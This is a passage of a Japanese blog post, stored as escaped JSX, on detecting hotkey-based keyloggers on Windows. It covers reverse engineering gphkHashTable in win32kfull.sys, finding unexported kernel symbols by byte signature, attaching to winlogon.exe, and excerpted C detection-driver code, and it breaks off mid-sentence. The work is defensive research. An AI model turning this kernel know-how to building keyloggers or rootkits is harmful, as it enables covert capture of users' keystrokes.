\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u306E\\u8A73\\u7D30\\u3002Windbg\\u753B\\u9762(\\u56F3\\u5DE6)\\u3068HOT_KEY\\u69CB\\u9020\\u4F53\\u306E\\u8A73\\u7D30\",width:\"1220\",height:\"410\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30EA\\u30D0\\u30FC\\u30B9\\u30A8\\u30F3\\u30B8\\u30CB\\u30A2\\u30EA\\u30F3\\u30B0\\u3092\\u3057\\u305F\\u7D50\\u679C\\u3092\\u307E\\u3068\\u3081\\u308B\\u3068\\u3001ghpkHashTable\\u306F\\u56F34\\u306E\\u3088\\u3046\\u306A\\u69CB\\u9020\\u306B\\u306A\\u3063\\u3066\\u3044\\u308B\\u3053\\u3068\\u304C\\u308F\\u304B\\u308A\\u307E\\u3057\\u305F\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\\u3001\",(0,n.jsx)(e.code,{children:\"RegisterHotKey\"}),\" API\\u3067\\u6307\\u5B9A\\u3055\\u308C\\u305Fvirtual-key code\\u306B\\u5BFE\\u3057\\u30660x80\\u306E\\u4F59\\u5270\\u6F14\\u7B97\\u3092\\u3057\\u305F\\u7D50\\u679C\\u3092\\u30CF\\u30C3\\u30B7\\u30E5\\u30C6\\u30FC\\u30D6\\u30EB\\u306E\\u30A4\\u30F3\\u30C7\\u30C3\\u30AF\\u30B9\\u306B\\u3057\\u3066\\u3044\\u307E\\u3057\\u305F\\u3002\\u305D\\u3057\\u3066\\u540C\\u3058\\u30A4\\u30F3\\u30C7\\u30C3\\u30AF\\u30B9\\u3092\\u6301\\u3064\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u3092\\u9023\\u7D50\\u30EA\\u30B9\\u30C8\\u3067\\u7D50\\u3076\\u3053\\u3068\\u3067\\u3001virtual-key code\\u304C\\u540C\\u3058\\u3067\\u3082\\u3001\\u4FEE\\u98FE\\u5B50\\u304C\\u9055\\u3046\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u60C5\\u5831\\u3082\\u4FDD\\u6301\\u30FB\\u7BA1\\u7406\\u51FA\\u6765\\u308B\\u3088\\u3046\\u306B\\u306A\\u3063\\u3066\\u3044\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image6.png\",alt:\"\\u56F34: gphkHashTable\\u306E\\u69CB\\u9020\",width:\"1113\",height:\"542\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u3064\\u307E\\u308A\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u3067\\u4FDD\\u6301\\u3057\\u3066\\u3044\\u308B\\u5168\\u3066\\u306EHOT_KEY\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u3092\\u8D70\\u67FB\\u3059\\u308C\\u3070\\u3001\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308B\\u5168\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u60C5\\u5831\\u304C\\u53D6\\u5F97\\u3067\\u304D\\u308B\\u3068\\u3044\\u3046\\u3053\\u3068\\u306B\\u306A\\u308A\\u307E\\u3059\\u3002\\u53D6\\u5F97\\u3057\\u305F\\u7D50\\u679C\\u3001\\u4E3B\\u8981\\u306A\\u30AD\\u30FC(\\u4F8B\\u3048\\u3070\\u5358\\u4F53\\u306E\\u82F1\\u6570\\u5B57\\u30AD\\u30FC\\uFF09\\u5168\\u3066\\u304C\\u500B\\u3005\\u306E\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308C\\u3070\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u52D5\\u4F5C\\u3057\\u3066\\u3044\\u308B\\u3053\\u3068\\u3092\\u793A\\u3059\\u5F37\\u3044\\u6839\\u62E0\\u3068\\u306A\\u308A\\u307E\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"\\u691C\\u77E5\\u30C4\\u30FC\\u30EB\\u3092\\u4F5C\\u6210\\u3059\\u308B\",children:\"\\u691C\\u77E5\\u30C4\\u30FC\\u30EB\\u3092\\u4F5C\\u6210\\u3059\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u3067\\u306F\\u6B21\\u306B\\u3001\\u5B9F\\u969B\\u306B\\u691C\\u77E5\\u30C4\\u30FC\\u30EB\\u306E\\u65B9\\u3092\\u5B9F\\u88C5\\u3057\\u3066\\u3044\\u304D\\u307E\\u3059\\u3002\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u81EA\\u4F53\\u306F\\u30AB\\u30FC\\u30CD\\u30EB\\u7A7A\\u9593\\u306B\\u5B58\\u5728\\u3059\\u308B\\u305F\\u3081\\u3001\\u30E6\\u30FC\\u30B6\\u30E2\\u30FC\\u30C9\\u306E\\u30A2\\u30D7\\u30EA\\u30B1\\u30FC\\u30B7\\u30E7\\u30F3\\u304B\\u3089\\u306F\\u30A2\\u30AF\\u30BB\\u30B9\\u51FA\\u6765\\u307E\\u305B\\u3093\\u3002\\u305D\\u306E\\u305F\\u3081\\u691C\\u77E5\\u306E\\u305F\\u3081\\u306B\\u3001\\u30C7\\u30D0\\u30A4\\u30B9\\u30C9\\u30E9\\u30A4\\u30D0\\u3092\\u66F8\\u304F\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\\u5177\\u4F53\\u7684\\u306B\\u306F\",(0,n.jsx)(e.code,{children:\"gphkHashTable\"}),\"\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3057\\u305F\\u5F8C\\u3001\\u30CF\\u30C3\\u30B7\\u30E5\\u30C6\\u30FC\\u30D6\\u30EB\\u306B\\u4FDD\\u5B58\\u3055\\u308C\\u3066\\u3044\\u308B\\u5168\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u3092\\u8D70\\u67FB\\u3057\\u305F\\u4E0A\\u3067\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308B\\u82F1\\u6570\\u5B57\\u30AD\\u30FC\\u306E\\u6570\\u304C\\u4E00\\u5B9A\\u6570\\u4EE5\\u4E0A\\u306A\\u3089\\u3070\\u3001\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u578B\\u30AD\\u30FC\\u30ED\\u30AC\\u30FC\\u304C\\u5B58\\u5728\\u3059\\u308B\\u53EF\\u80FD\\u6027\\u304C\\u3042\\u308B\\u4E8B\\u3092\\u77E5\\u3089\\u305B\\u3066\\u304F\\u308B\\u30C7\\u30D0\\u30A4\\u30B9\\u30C9\\u30E9\\u30A4\\u30D0\\u3092\\u4F5C\\u6210\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"gphkhashtable\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u65B9\\u6CD5\",children:\"gphkHashTable\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u65B9\\u6CD5\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u691C\\u77E5\\u30C4\\u30FC\\u30EB\\u3092\\u4F5C\\u6210\\u3059\\u308B\\u306B\\u3042\\u305F\\u308A\\u3001\\u6700\\u521D\\u306B\\u76F4\\u9762\\u3057\\u305F\\u8AB2\\u984C\\u3068\\u3057\\u3066\\u306F\\u300CgphkHashTable\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u3069\\u306E\\u3088\\u3046\\u306B\\u3057\\u3066\\u53D6\\u5F97\\u3059\\u308C\\u3070\\u3088\\u3044\\u306E\\u304B\\uFF1F\\u300D\\u3068\\u3044\\u3046\\u3053\\u3068\\u3067\\u3059\\u3002\\u60A9\\u3093\\u3060\\u7D50\\u679C\\u3001\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306E\\u30E1\\u30E2\\u30EA\\u7A7A\\u9593\\u5185\\u3067gphkHashTable\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3057\\u3066\\u3044\\u308B\\u547D\\u4EE4\\u304B\\u3089\\u76F4\\u63A5gphkHashTable\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"\\u30EA\\u30D0\\u30FC\\u30B9\\u30A8\\u30F3\\u30B8\\u30CB\\u30A2\\u30EA\\u30F3\\u30B0\\u3057\\u305F\\u7D50\\u679C\\u3001\",(0,n.jsx)(e.code,{children:\"IsHotKey\"}),\"\\u3068\\u3044\\u3046\\u95A2\\u6570\\u5185\\u3067\\u306F\\u3001\\u95A2\\u6570\\u306E\\u5192\\u982D\\u90E8\\u5206\\u306B\\u3042\\u308Blea\\u547D\\u4EE4(lea rbx, gphkHashTable)\\u306B\\u3066\\u3001gphkHashTable\\u306E\\u30A2\\u30AF\\u30BB\\u30B9\\u3057\\u3066\\u3044\\u308B\\u3053\\u3068\\u304C\\u308F\\u304B\\u308A\\u307E\\u3057\\u305F\\u3002\\u3053\\u306E\\u547D\\u4EE4\\u306E\\u30AA\\u30D7\\u30B3\\u30FC\\u30C9\\u30D0\\u30A4\\u30C8(0x48, 0x8d, 0x1d)\\u90E8\\u5206\\u3092\\u30B7\\u30B0\\u30CD\\u30C1\\u30E3\\u306B\\u8A72\\u5F53\\u884C\\u3092\\u63A2\\u7D22\\u3057\\u3066\\u3001\\u5F97\\u3089\\u308C\\u305F32bit(4\\u30D0\\u30A4\\u30C8)\\u306E\\u30AA\\u30D5\\u30BB\\u30C3\\u30C8\\u304B\\u3089gphkHashTable\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u7B97\\u51FA\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image5.png\",alt:\"\\u56F35: IsHotKey\\u95A2\\u6570\\u5185 \",width:\"1128\",height:\"350\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u52A0\\u3048\\u3066\\u3001IsHotKey\\u95A2\\u6570\\u81EA\\u4F53\\u3082\\u30A8\\u30AF\\u30B9\\u30DD\\u30FC\\u30C8\\u95A2\\u6570\\u3067\\u306A\\u3044\\u305F\\u3081\\u3001\\u305D\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3082\\u4F55\\u3089\\u304B\\u306E\\u65B9\\u6CD5\\u3067\\u53D6\\u5F97\\u3057\\u306A\\u3051\\u308C\\u3070\\u3044\\u3051\\u307E\\u305B\\u3093\\u3002\\u305D\\u3053\\u3067\\u3055\\u3089\\u306A\\u308B\\u30EA\\u30D0\\u30FC\\u30B9\\u30A8\\u30F3\\u30B8\\u30CB\\u30A2\\u30EA\\u30F3\\u30B0\\u306E\\u7D50\\u679C\\u3001\",(0,n.jsx)(e.code,{children:\"EditionIsHotKey\"}),\"\\u3068\\u3044\\u3046\\u30A8\\u30AF\\u30B9\\u30DD\\u30FC\\u30C8\\u3055\\u308C\\u305F\\u95A2\\u6570\\u5185\\u3067\\u3001\",(0,n.jsx)(e.code,{children:\"IsHotKey\"}),\"\\u95A2\\u6570\\u304C\\u547C\\u3070\\u308C\\u3066\\u3044\\u308B\\u3053\\u3068\\u304C\\u308F\\u304B\\u308A\\u307E\\u3057\\u305F\\u3002\\u305D\\u3053\\u3067EditionIsHotKey\\u95A2\\u6570\\u304B\\u3089\\u524D\\u8FF0\\u3068\\u540C\\u69D8\\u306E\\u65B9\\u6CD5\\u3067\\u3001IsHotKey\\u95A2\\u6570\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u7B97\\u51FA\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002(\\u88DC\\u8DB3\\u3067\\u3059\\u304C\\u3001\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306E\\u30D9\\u30FC\\u30B9\\u30A2\\u30C9\\u30EC\\u30B9\\u306B\\u95A2\\u3057\\u3066\\u306F\",(0,n.jsx)(e.code,{children:\"PsLoadedModuleList\"}),\"\\u3068\\u3044\\u3046API\\u3067\\u63A2\\u305B\\u307E\\u3059\\u3002)\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000## \",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306E\\u30E1\\u30E2\\u30EA\\u7A7A\\u9593\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3059\\u308B\\u306B\\u306F\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\",(0,n.jsx)(e.strong,{children:\"gphkHashTable\"}),\"\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u65B9\\u6CD5\\u306B\\u3064\\u3044\\u3066\\u691C\\u8A0E\\u304C\\u7D42\\u308F\\u3063\\u305F\\u3068\\u3053\\u308D\\u3067\\u3001\\u5B9F\\u969B\\u306B\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306E\\u30E1\\u30E2\\u30EA\\u7A7A\\u9593\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3057\\u3066\\u3001\",(0,n.jsx)(e.strong,{children:\"gphkHashTable\"}),\"\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u53D6\\u5F97\\u3059\\u308B\\u305F\\u3081\\u306E\\u30B3\\u30FC\\u30C9\\u3092\\u66F8\\u304D\\u59CB\\u3081\\u307E\\u3057\\u305F\\u3002\\u3053\\u306E\\u6642\\u76F4\\u9762\\u3057\\u305F\\u8AB2\\u984C\\u3068\\u3057\\u3066\\u306F\\u3001\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306F\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u30C9\\u30E9\\u30A4\\u30D0\\u300D\\u3067\\u3042\\u308B\\u3068\\u3044\\u3046\\u70B9\\u3067\\u3059\\u304C\\u3001\\u3053\\u3053\\u3067\\u306F\\u307E\\u305A\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u300D\\u3068\\u306F\\u4F55\\u304B\\u306B\\u3064\\u3044\\u3066\\u3001\\u7C21\\u5358\\u306B\\u8AAC\\u660E\\u3057\\u307E\\u3059\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"Windows\\u3067\\u306F\\u4E00\\u822C\\u7684\\u306B\\u30E6\\u30FC\\u30B6\\u304C\\u30ED\\u30B0\\u30A4\\u30F3\\u3057\\u305F\\u969B\\u3001\\u30E6\\u30FC\\u30B6\\u6BCE\\u306B\\u500B\\u5225\\u306B\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u300D(1\\u756A\\u4EE5\\u964D\\u306E\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u756A\\u53F7)\\u304C\\u5272\\u308A\\u5F53\\u3066\\u3089\\u308C\\u307E\\u3059\\u3002\\u304B\\u306A\\u308A\\u5927\\u96D1\\u628A\\u306B\\u8AAC\\u660E\\u3059\\u308B\\u3068\\u3001\\u6700\\u521D\\u306B\\u30ED\\u30B0\\u30A4\\u30F3\\u3057\\u305F\\u30E6\\u30FC\\u30B6\\u306B\\u306F\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\uFF11\\u300D\\u304C\\u5272\\u308A\\u5F53\\u3066\\u3089\\u308C\\u3001\\u305D\\u306E\\u72B6\\u614B\\u3067\\u5225\\u306E\\u30E6\\u30FC\\u30B6\\u304C\\u30ED\\u30B0\\u30A4\\u30F3\\u3057\\u305F\\u5834\\u5408\\u4ECA\\u5EA6\\u306F\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\uFF12\\u300D\\u304C\\u5272\\u308A\\u5F53\\u3066\\u3089\\u308C\\u307E\\u3059\\u3002\\u305D\\u3057\\u3066\\u5404\\u30E6\\u30FC\\u30B6\\u306F\\u500B\\u3005\\u306E\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u5185\\u3067\\u3001\\u305D\\u308C\\u305E\\u308C\\u306E\\u30C7\\u30B9\\u30AF\\u30C8\\u30C3\\u30D7\\u74B0\\u5883\\u3092\\u6301\\u3061\\u307E\\u3059\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"\\u3053\\u306E\\u6642\\u3001\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u5225(\\u30ED\\u30B0\\u30A4\\u30F3\\u30E6\\u30FC\\u30B6\\u5225)\\u306B\\u7BA1\\u7406\\u3059\\u308B\\u3079\\u304D\\u30AB\\u30FC\\u30CD\\u30EB\\u306E\\u30C7\\u30FC\\u30BF\\u306F\\u3001\\u30AB\\u30FC\\u30CD\\u30EB\\u30E1\\u30E2\\u30EA\\u5185\\u306E\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u7A7A\\u9593\\u300D\\u3068\\u3044\\u3046\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u5225\\u306E\\u5206\\u96E2\\u3057\\u305F\\u30E1\\u30E2\\u30EA\\u7A7A\\u9593\\u3067\\u7BA1\\u7406\\u3055\\u308C\\u3001win32k \\u30C9\\u30E9\\u30A4\\u30D0\\u304C\\u7BA1\\u7406\\u3057\\u3066\\u3044\\u308B\\u3088\\u3046\\u306AGUI\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8(\\u30A6\\u30A3\\u30F3\\u30C9\\u30A6\\u3001\\u30DE\\u30A6\\u30B9\\u30FB\\u30AD\\u30FC\\u30DC\\u30FC\\u30C9\\u5165\\u529B\\u306E\\u60C5\\u5831\\u7B49)\\u3082\\u3053\\u308C\\u306B\\u8A72\\u5F53\\u3057\\u307E\\u3059\\u3002\\u3053\\u308C\\u306B\\u3088\\u308A\\u3001\\u30E6\\u30FC\\u30B6\\u9593\\u3067\\u753B\\u9762\\u3084\\u5165\\u529B\\u60C5\\u5831\\u304C\\u6DF7\\u3056\\u308B\\u3053\\u3068\\u304C\\u306A\\u3044\\u306E\\u3067\\u3059\\u3002(\\u304B\\u306A\\u308A\\u5927\\u307E\\u304B\\u306A\\u8AAC\\u660E\\u306E\\u305F\\u3081\\u3001\\u3088\\u308A\\u8A73\\u3057\\u304F\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u306B\\u3064\\u3044\\u3066\\u77E5\\u308A\\u305F\\u3044\\u65B9\\u306FJames Forshaw\\u6C0F\\u306E\",(0,n.jsx)(e.a,{href:\"https://googleprojectzero.blogspot.com/2016/01/raising-dead.html\",rel:\"nofollow\",children:\"\\u3053\\u3061\\u3089\\u306E\\u30D6\\u30ED\\u30B0\\u8A18\\u4E8B\"}),\"\\u3092\\u8AAD\\u3080\\u3053\\u3068\\u3092\\u304A\\u3059\\u3059\\u3081\\u3057\\u307E\\u3059\\u3002)\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.img,{src:\"/assets/images/detecting-hotkey-based-keyloggers/image2.png\",alt:\"\\u56F36: \\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u306E\\u6982\\u8981\\u3002 \\u30BB\\u30C3\\u30B7\\u30E7\\u30F30\\u306F\\u30B5\\u30FC\\u30D3\\u30B9\\u30D7\\u30ED\\u30BB\\u30B9\\u5C02\\u7528\\u306E\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\",width:\"735\",height:\"543\"}),`\n\\u3000\\u3000`,(0,n.jsx)(e.br,{}),`\n`,\"\\u4EE5\\u4E0A\\u306E\\u80CC\\u666F\\u304B\\u3089\\u3001\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u306F\\u300C\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u30C9\\u30E9\\u30A4\\u30D0\\u300D\\u3068\\u547C\\u3070\\u308C\\u3066\\u3044\\u307E\\u3059\\u3002\\u3064\\u307E\\u308A\\u3001\\u4F8B\\u3048\\u3070\\u6700\\u521D\\u306E\\u30ED\\u30B0\\u30A4\\u30F3\\u30E6\\u30FC\\u30B6\\u306E\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3(\\u30BB\\u30C3\\u30B7\\u30E7\\u30F31)\\u5185\\u3067\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u306E\\u60C5\\u5831\\u306F\\u3001\\u540C\\u3058\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u5185\\u304B\\u3089\\u3057\\u304B\\u30A2\\u30AF\\u30BB\\u30B9\\u3067\\u304D\\u306A\\u3044\\u3068\\u3044\\u3046\\u3053\\u3068\\u3067\\u3059\\u3002\\u3067\\u306F\\u3069\\u3046\\u3059\\u308C\\u3070\\u826F\\u3044\\u306E\\u304B\\u3068\\u3044\\u3046\\u3068\\u3001\\u3053\\u306E\\u3088\\u3046\\u306A\\u5834\\u5408\\u3001\",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/ja-jp/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess\",rel:\"nofollow\",children:\"KeStackAttachProcess\"}),\"\\u304C\\u5229\\u7528\\u3067\\u304D\\u308B\\u3053\\u3068\\u304C\",(0,n.jsx)(e.a,{href:\"https://eversinc33.com/posts/kernel-mode-keylogging.html\",rel:\"nofollow\",children:\"\\u77E5\\u3089\\u308C\\u3066\\u3044\\u307E\\u3059\"}),\"\\u3002\",(0,n.jsx)(e.br,{}),`\n`,\"KeStackAttachProcess\\u306F\\u3001\\u73FE\\u5728\\u306E\\u30B9\\u30EC\\u30C3\\u30C9\\u3092\\u6307\\u5B9A\\u306E\\u30D7\\u30ED\\u30BB\\u30B9\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u7A7A\\u9593\\u306B\\u4E00\\u6642\\u7684\\u306B\\u30A2\\u30BF\\u30C3\\u30C1\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3059\\u3002\\u3053\\u306E\\u6642\\u3001\\u5BFE\\u8C61\\u306E\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u306B\\u3044\\u308BGUI\\u30D7\\u30ED\\u30BB\\u30B9\\u3001\\u3088\\u308A\\u6B63\\u78BA\\u306B\\u306F\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u3092\\u30ED\\u30FC\\u30C9\\u3057\\u3066\\u3044\\u308B\\u30D7\\u30ED\\u30BB\\u30B9\\u306B\\u30A2\\u30BF\\u30C3\\u30C1\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u308C\\u3070\\u3001\\u5BFE\\u8C61\\u30BB\\u30C3\\u30B7\\u30E7\\u30F3\\u306E\",(0,n.jsx)(e.strong,{children:\"win32kfull.sys\"}),\"\\u3084\\u305D\\u306E\\u30C7\\u30FC\\u30BF\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3059\\u308B\\u3053\\u3068\\u304C\\u51FA\\u6765\\u307E\\u3059\\u3002\\u4ECA\\u56DE\\u306F\\u3001\\u30ED\\u30B0\\u30A4\\u30F3\\u30E6\\u30FC\\u30B6\\u304C\\uFF11\\u30E6\\u30FC\\u30B6\\u3067\\u3042\\u308B\\u3053\\u3068\\u3092\\u4EEE\\u5B9A\\u3057\\u3066\\u3001\\u5404\\u30E6\\u30FC\\u30B6\\u306E\\u30ED\\u30B0\\u30AA\\u30F3\\u64CD\\u4F5C\\u3092\\u62C5\\u3046\\u30D7\\u30ED\\u30BB\\u30B9\\u3067\\u3042\\u308B\",(0,n.jsx)(e.strong,{children:\"winlogon.exe\"}),\"\\u3092\\u63A2\\u3057\\u3066\\u30A2\\u30BF\\u30C3\\u30C1\\u3059\\u308B\\u3053\\u3068\\u306B\\u3057\\u307E\\u3057\\u305F\\u3002\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308B\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3092\\u78BA\\u8A8D\\u3059\\u308B\",children:\"\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308B\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3092\\u78BA\\u8A8D\\u3059\\u308B\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\",(0,n.jsx)(e.strong,{children:\"winlogon.exe\"}),\"\\u306E\\u30D7\\u30ED\\u30BB\\u30B9\\u306B\\u30A2\\u30BF\\u30C3\\u30C1\\u3057\\u3001\",(0,n.jsx)(e.strong,{children:\"gphkHashTable\"}),\"\\u306E\\u30A2\\u30C9\\u30EC\\u30B9\\u3092\\u7279\\u5B9A\\u51FA\\u6765\\u305F\\u5F8C\\u306F\\u3001\\u5F8C\\u306F\",(0,n.jsx)(e.strong,{children:\"gphkHashTable\"}),\"\\u3092\\u30B9\\u30AD\\u30E3\\u30F3\\u3057\\u3066\\u767B\\u9332\\u3055\\u308C\\u305F\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3092\\u78BA\\u8A8D\\u3059\\u308B\\u3060\\u3051\\u3067\\u3059\\u3002\\u4EE5\\u4E0B\\u304C\\u305D\\u306E\\u629C\\u7C8B\\u7248\\u306E\\u30B3\\u30FC\\u30C9\\u3067\\u3059\\u3002\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-c\",children:`BOOL CheckRegisteredHotKeys(_In_ const PVOID\u0026 gphkHashTableAddr)\n{\n-[skip]-\n // Cast the gphkHashTable address to an array of pointers.\n PVOID* tableArray = static_cast\u003cPVOID*\u003e(gphkHashTableAddr);\n // Iterate through the hash table entries.\n for (USHORT j = 0; j \u003c 0x80; j++)\n {\n PVOID item = tableArray[j];\n PHOT_KEY hk = reinterpret_cast\u003cPHOT_KEY\u003e(item);\n if (hk)\n {\n CheckHotkeyNode(hk);\n }\n }\n-[skip]-\n}\n\nVOID CheckHotkeyNode(_In_ const PHOT_KEY\u0026 hk)\n{\n if (MmIsAddressValid(hk-\u003epNext)) {\n CheckHotkeyNode(hk-\u003epNext);\n }\n\n // Check whether this is a single numeric hotkey.\n if ((hk-\u003evk \u003e= 0x30) \u0026\u0026 (hk-\u003evk \u003c= 0x39) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n // Check whether this is a single alphabet hotkey.\n else if ((hk-\u003evk \u003e= 0x41) \u0026\u0026 (hk-\u003evk \u003c= 0x5A) \u0026\u0026 (hk-\u003emodifiers1 == 0))\n {\n KdPrint((\"[+] hk-\u003eid: %u hk-\u003evk: %x\\\\n\", hk-\u003eid, hk-\u003evk));\n hotkeyCounter++;\n }\n-[skip]-\n}\n....\nif (CheckRegisteredHotKeys(gphkHashTableAddr) \u0026\u0026 hotkeyCounter \u003e= 36)\n{\n detected = TRUE;\n goto Cleanup;\n}\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"\\u3000\\u30B3\\u30FC\\u30C9\\u81EA\\u4F53\\u306F\\u96E3\\u3057\\u304F\\u306A\\u304F\\u3001\\u30CF\\u30C3\\u30B7\\u30E5\\u30C6\\u30FC\\u30D6\\u30EB\\u306E\\u5404\\u30A4\\u30F3\\u30C7\\u30C3\\u30AF\\u30B9\\u306E\\u5148\\u982D\\u304B\\u3089\\u9806\\u306B\\u3001\\u9023\\u7D50\\u30EA\\u30B9\\u30C8\\u3092\\u305F\\u3069\\u308A\\u306A\\u304C\\u3089\\u3059\\u3079\\u3066\\u306E\",(0,n.jsx)(e.strong,{children:\"HOT_KEY\"}),\"\\u30AA\\u30D6\\u30B8\\u30A7\\u30AF\\u30C8\\u306B\\u30A2\\u30AF\\u30BB\\u30B9\\u3057\\u3066\\u3001\\u767B\\u9332\\u3055\\u308C\\u3066\\u3044\\u308B\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u304C\\u5358\\u4F53\\u306E\\u82F1\\u6570\\u5B57\\u30AD\\u30FC\\u304B\\u5426\\u304B\\u3092\\u78BA\\u8A8D\\u3057\\u3066\\u3044\\u307E\\u3059\\u3002\\u4F5C\\u6210\\u3057\\u305F\\u691C\\u77E5\\u30C4\\u30FC\\u30EB\\u3067\\u306F\\u3001\\u3059\\u3079\\u3066\\u306E\\u5358\\u4F53\\u82F1\\u6570\\u5B57\\u30AD\\u30FC\\u304C\\u30DB\\u30C3\\u30C8\\u30AD\\u30FC\\u3068\\u3057\\u3066\\u767B\\u9332\",(0,n.jsx)(e.br,{}),`\n`,\"\\u3055\\u308C\\u3066\\u3044\\u305F\\u5834\\u5408\\u3001\\u30DB\\u30C3\\u30C8\\